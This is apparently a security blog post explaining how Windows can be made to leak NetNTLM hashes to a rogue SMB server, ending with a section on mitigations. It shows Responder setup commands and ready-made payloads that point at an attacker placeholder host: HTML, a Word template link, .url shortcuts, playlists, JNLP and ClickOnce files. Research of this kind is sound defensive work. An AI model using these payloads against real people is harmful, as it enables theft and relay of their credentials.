Introduction
Recently, leaking of NetNTLM hashes has gained some renewed attention. This is partly because Microsoft released a fix for Outlook/Office to address an issue reported by Will Dormann from CERT/CC. Will found that Office will leak NetNTLM hashes when processing RTF documents containing specially crafted OLE objects. In addition, Check Point found that a similar attack is possible using PDF files.
Leaking of hashes is not new, reports of it go back to at least March, 1997. It is caused by a design flaw in Windows related to their single sign-on implementation. If a server requests for the user to authenticate, Windows will try to do so using the user's credentials. This way the user doesn't need to provide his/her credentials for each individual server. The downside is that any server can request authentication and Windows will happily comply.
Stealing hashes
An easy way to steal NetNTLM hashes is by utilizing Laurent Gaffie's Responder. Responder contains a rogue SMB authentication server, which can be used to steal the hashes.
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo ./Responder.py -I <interface>
When Responder is running hashes can be leaked by almost any Windows application that opens a file. For example simply running the dir command on the Responder's IP address will cause NetNTLM hashes to be leaked.
Figure 1: dir command can be used to leak NetNTLM hashes
Once a hash is obtained, the attacker can try to crack it to retrieve the corresponding password. In some cases it is even possible to relay the NetNTLM hash in order to run arbitrary code on another system. This code will be run with the privileges of the victim for which its hash is relayed. Normally, these types of attacks are executed over the internet thus requiring that the password is cracked by the attacker.
Internet Explorer & Edge
While the dir command can be used to leak hashes, it is not very convenient method for an attacker. A more likely scenario would be if the attacker entices the victim to visit the attacker's website or open a specially crafted file. As is widely known, Internet Explorer can leak NetNTLM hashes to websites containing embedded content (eg, images, stylesheets) loaded from a UNC path. This also applies to Microsoft Edge, which can be abused in the same way. This can be tested using the following HTML:
<!DOCTYPE html>
<html>
<img src="file://<responder ip>/leak/leak.png"/>
</html>
Office
Another well-known attack is by abusing Office. Office documents can contain links to external content that when pointed to a network share can result in disclosing NetNTLM hashes. For example, a Word document can contain a link to a template file located on a share. The template file can be set via the word\_rels\settings.xml.rels file located in the DOCX file.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://<responder ip>/leak/Template.dotx" TargetMode="External"/>
</Relationships>
Figure 2: leak NetNTLM hashes using Word
It should be noted that this particular trick doesn't work if the Word document is opened in Protected View. This is normally the case if the document is opened from a website or opened from an email message.
Living off the land
If no mitigations have been applied, it is not very hard to trick Windows to leak hashes. Essentially any document format that allows loading of external files from UNC paths should be affected by this flaw. To get an idea how easy it is to find such methods, a number of them are listed below. This is by far an exhaustive list, it just demonstrates how prevalent this issue is. Of course an attacker still needs to entice the user into performing a certain action.
URL handlers
Besides abusing files there are other ways to force applications to open files from (rogue) network shares. One such way is with the use of URL handlers. A large number of applications register custom URL schemes. For example, Word registers the ms-word URL scheme. This scheme accepts a path that can be used to cause Word to try to open a file from a UNC path. Consequently, the ms-word URL scheme can be used to steal NetNTLM hashes. Other URL handlers can be abused in a similar manner.
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Internet Shortcut
Another trick is to just create a shortcut to the rogue share. Windows has a special URL file type that is used to create shortcuts to webpages. A simple version looks something like this:
[InternetShortcut]
URL=file://<responder ip>/leak/leak.html
It is possible to assign an icon to this shortcut. When Windows Explorer encounters a URL file it will automatically parse it to see if there is an icon associated to the shortcut. Setting the icon to an UNC path will cause Windows Explorer to try and load it, again leaking hashes. This happens when the user just browses to the folder containing the URL file. So if an attacker managers to drop a URL file in the user's download folder, hashes are leaked every time the user views the download folder in Explorer. Similar attacks are possible using other shortcut type of file formats, which is also useful with USB drops.
leak2.url:
[InternetShortcut]
URL=https://securify.nl
IconIndex=0
IconFile=\\<responder ip>\leak\leak.ico
Windows Media Player
Media players tend to support many audio and video file formats and playlists. Playlists can be seen as a collection of links to external files, including files located on network shares. Naturally this can be abused to steal NetNTLM hashes. Windows Media Player is no exception, opening a specially crafted playlist in Windows Media Player can potentially disclose hashes to an attacker.
#EXTM3U
#EXTINF:1337, Leak
\\<responder ip>\leak.mp3
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://<responder ip>/leak/leak.wma"/>
</entry>
</asx>
Java Web Start
Many enterprise still use Java applications. There is a good chance that they also have Java Web Start enabled. Java Web Start allows users to start Java applications from the internet using a browser. A Java Web Start application is launched by opening a JNLP file. JNLP files are XML files that define how the application should be started. It also contains links to one or more JAR files. These JAR files could be located on network shares thus are a good target for leaking hashes.
<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0+" codebase="" href="">
<resources>
<jar href="file://<responder ip>/leak/leak.jar"/>
</resources>
<application-desc/>
</jnlp>
It should be noted that while JNLP files can be opened from a browser they are block by Microsoft Outlook on Windows. JNLP files are allowed on Outlook for macOS though.
Figure 3: JNLP files are blocked in Outlook
ClickOnce
.NET's counterpart to Java Web Start is named ClickOnce. It works in a similar manner, applications are started via a ClickOnce deployment manifest file. These files can also contain UNC paths, similar to Java Web Start. Remarkably, ClickOnce deployment manifests are not blocked by Outlook.
Figure 4: ClickOnce deployment manifest files are not blocked in Outlook
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<assemblyIdentity name="Leak.app" version="1.0.0.0" publicKeyToken="0000000000000000" language="neutral" processorArchitecture="x86" xmlns="urn:schemas-microsoft-com:asm.v1" />
<description asmv2:publisher="Leak" asmv2:product="Leak" asmv2:supportUrl="" xmlns="urn:schemas-microsoft-com:asm.v1" />
<deployment install="false" mapFileExtensions="true" trustURLParameters="true" />
<dependency>
<dependentAssembly dependencyType="install" codebase="file://<responder ip>/leak/Leak.exe.manifest" size="32909">
<assemblyIdentity name="Leak.exe" version="1.0.0.0" publicKeyToken="0000000000000000" language="neutral" processorArchitecture="x86" type="win32" />
<hash>
<dsig:Transforms>
<dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
</dsig:Transforms>
<dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<dsig:DigestValue>ESZ11736AFIJnp6lKpFYCgjw4dU=</dsig:DigestValue>
</hash>
</dependentAssembly>
</dependency>
</asmv1:assembly>
Mitigation
To prevent leaking of NetNTLM hashes it is generally a good idea to block outbound SMB traffic on both the border firewall(s) and local firewall (especially in the case of laptops).
As of Windows 7/Server 2008 R2 Microsoft has added options to audit or restrict NTLM authentication. NTLM authentication can be blocked entirely using the Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers GPO.
Setting sufficiently long passwords makes it harder to recover the password when hashes are still leaked. The longer a password is, the harder it is to crack it. Of course the minimal length a password increases over time when hardware becomes more powerful.
Measures can also be taken to prevent relay attacks. Preferably Kerberos authentication should be used everywhere instead of NTLM authentication. In addition make sure to enabled SMB signing, which also mitigates other attacks against SMB.
In conclusion
Forcing Windows to leak NetNTLM hashes is not that difficult, many ways exists to do this. Some user interaction is often required, like enticing a victim to visit the attacker's website or open a specially crafted file. Controls must be implemented to prevent leaking of hashes, including blocking outbound SMB traffic & disabling NTLM authentication. If possible enable SMB signing & enforce sufficiently long passwords.